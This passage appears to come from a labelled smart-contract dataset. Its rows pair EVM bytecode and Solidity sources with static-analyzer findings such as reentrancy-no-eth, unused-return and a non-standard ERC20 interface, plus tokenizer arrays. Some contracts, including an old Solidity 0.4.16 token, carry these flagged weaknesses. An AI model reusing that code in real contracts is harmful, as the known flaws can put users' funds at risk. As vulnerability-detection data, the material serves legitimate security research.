000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b848490508110156107795760008585838181106105c857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16905060008484848181106105f557fe5b905060200201359050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156106a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f302061646479000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b612710811180156106b4575061445c8111155b610726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f496e76616c69642076616c00000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505080806001019150506105af565b5050505050565b6107886108e1565b6107fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6000806000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061098761117d565b73ffffffffffffffffffffffffffffffffffffffff1663dfa860be896040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109ed57600080fd5b505afa158015610a01573d6000803e3d6000fd5b505050506040513d6020811015610a1757600080fd5b810190808051906020019092919050505015610b0c57610a35611244565b73ffffffffffffffffffffffffffffffffffffffff16634e34f26b866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a9b57600080fd5b505afa158015610aaf573d6000803e3d6000fd5b505050506040513d6020811015610ac557600080fd5b8101908080519060200190929190505050610af457610aef6101f48261130b90919063ffffffff16565b610b09565b610b0860fa8261130b90919063ffffffff16565b5b90505b6000610b228887610b1d8a8661138e565b6113bf565b9050808511610b4c610b3d848461149990919063ffffffff16565b8761149990919063ffffffff16565b9350935050509550959350505050565b600073fc90c4ae4343f958215b82ff4575b714294cdd75905090565b600080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491509150915091565b610c0c6108e1565b610c7e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b818190508484905014610cf9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260028152602001807f213d00000000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b84849050811015610eb8576000858583818110610d1557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000848484818110610d4257fe5b905060200201359050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f302061646479000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6127108111610e65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f496e76616c69642076616c00000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050508080600101915050610cfc565b5050505050565b610ec76108e1565b610f39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fdc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f302061646479000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006110a58584611522565b611117576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f426164207061697200000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600061116c868561116788600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138e565b6113bf565b905080831015915050949350505050565b600073fc90c4ae4343f958215b82ff4575b714294cdd7573ffffffffffffffffffffffffffffffffffffffff166344ab66807f986ad072855435b8fb2a29d1faa83b44ef1008a28d6e3d51bc47202ca447b4156040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561120457600080fd5b505afa158015611218573d6000803e3d6000fd5b505050506040513d602081101561122e57600080fd5b8101908080519060200190929190505050905090565b600073fc90c4ae4343f958215b82ff4575b714294cdd7573ffffffffffffffffffffffffffffffffffffffff166344ab66807f3d88bbcb2dde8fea1083d0c6f9913e6cb2d5a9fdf647a791258f557b8b3e46f56040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156112cb57600080fd5b505afa1580156112df573d6000803e3d6000fd5b505050506040513d60208110156112f557600080fd5b8101908080519060200190929190505050905090565b600082821115611383576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b60006113b76127106113a984866116fb90919063ffffffff16565b61149990919063ffffffff16565b905092915050565b60006113c9611781565b73ffffffffffffffffffffffffffffffffffffffff1663248391ff8585856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060206040518083038186803b15801561145557600080fd5b505afa158015611469573d6000803e3d6000fd5b505050506040513d602081101561147f57600080fd5b810190808051906020019092919050505090509392505050565b6000808211611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b81838161151957fe5b04905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116235750611563611244565b73ffffffffffffffffffffffffffffffffffffffff16635f0a1c7884846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156115e757600080fd5b505afa1580156115fb573d6000803e3d6000fd5b505050506040513d602081101561161157600080fd5b81019080805190602001909291905050505b80156116f35750611632611244565b73ffffffffffffffffffffffffffffffffffffffff1663c466448c84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156116b657600080fd5b505afa1580156116ca573d6000803e3d6000fd5b505050506040513d60208110156116e057600080fd5b8101908080519060200190929190505050155b905092915050565b60008083141561170e576000905061177b565b600082840290508284828161171f57fe5b0414611776576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806118496021913960400191505060405180910390fd5b809150505b92915050565b600073fc90c4ae4343f958215b82ff4575b714294cdd7573ffffffffffffffffffffffffffffffffffffffff166344ab66807f1a4461ab9f0dcef4a35a8660e8bbb361ae4c140fabb5b8c363bd6282ded34a906040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561180857600080fd5b505afa15801561181c573d6000803e3d6000fd5b505050506040513d602081101561183257600080fd5b810190808051906020019092919050505090509056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220de6ed1a78a628bd8b78aaa9ec0c5a3c19e6131f0aff28b25cadaf01b89d8e62864736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "name-reused", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'name-reused', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 22025, 28154, 2581, 3401, 2063, 2475, 3207, 27009, 2620, 2497, 2575, 2094, 2692, 22394, 2546, 11387, 25746, 2094, 2692, 2683, 2549, 7011, 2497, 22610, 2475, 2094, 2692, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1063, 3647, 18900, 2232, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1063, 2219, 3085, 1065, 2013, 1000, 1012, 1012, 1013, 4395, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1063, 22834, 22648, 2571, 1065, 2013, 1000, 1012, 1012, 1013, 14721, 1012, 14017, 1000, 1025, 12324, 1063, 23333, 7520, 24805, 4590, 1065, 2013, 1000, 1012, 1013, 19204, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,104
0x96387e69fac1d3b63e31a3a70ee3a06761887759
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract StandardToken { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce5671461026457806342966c681461029557806370a08231146102da57806379cc67901461033157806395d89b4114610396578063a9059cbb14610426578063cae9ca5114610473578063dd62ed3e1461051e575b600080fd5b3480156100cb57600080fd5b506100d4610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106c0565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b506102796107f3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102c060048036038101908080359060200190929190505050610806565b604051808215151515815260200191505060405180910390f35b3480156102e657600080fd5b5061031b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090a565b6040518082815260200191505060405180910390f35b34801561033d57600080fd5b5061037c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b3480156103a257600080fd5b506103ab610b3c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103eb5780820151818401526020810190506103d0565b50505050905090810190601f1680156104185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561043257600080fd5b50610471600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b005b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610be9565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6c565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561075357600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506107e8848484610d91565b600190509392505050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561085657600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097257600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109fd57600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd25780601f10610ba757610100808354040283529160200191610bd2565b820191906000526020600020905b815481529060010190602001808311610bb557829003601f168201915b505050505081565b610be5338383610d91565b5050565b600080849050610bf98585610633565b15610d63578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610cf3578082015181840152602081019050610cd8565b50505050905090810190601f168015610d205780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610d4257600080fd5b505af1158015610d56573d6000803e3d6000fd5b5050505060019150610d64565b5b509392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610db857600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e0657600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610e9457600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011415156110a157fe5b505050505600a165627a7a723058205ab802e904e7291b5dd11f48ff370c8bc7755890ab56f8a463f3a81c794b3c190029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 22025, 2581, 2063, 2575, 2683, 7011, 2278, 2487, 2094, 2509, 2497, 2575, 2509, 2063, 21486, 2050, 2509, 2050, 19841, 4402, 2509, 2050, 2692, 2575, 2581, 2575, 15136, 2620, 2581, 23352, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 1035, 4469, 2850, 2696, 1007, 6327, 1025, 1065, 3206, 3115, 18715, 2368, 1063, 1013, 1013, 2270, 10857, 1997, 1996, 19204, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 1013, 1013, 2324, 26066, 2015, 2003, 1996, 6118, 4081, 12398, 1010, 4468, 5278, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,105
0x96393568d2f1e159a509b56b6ef1b13eda926c6f
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, 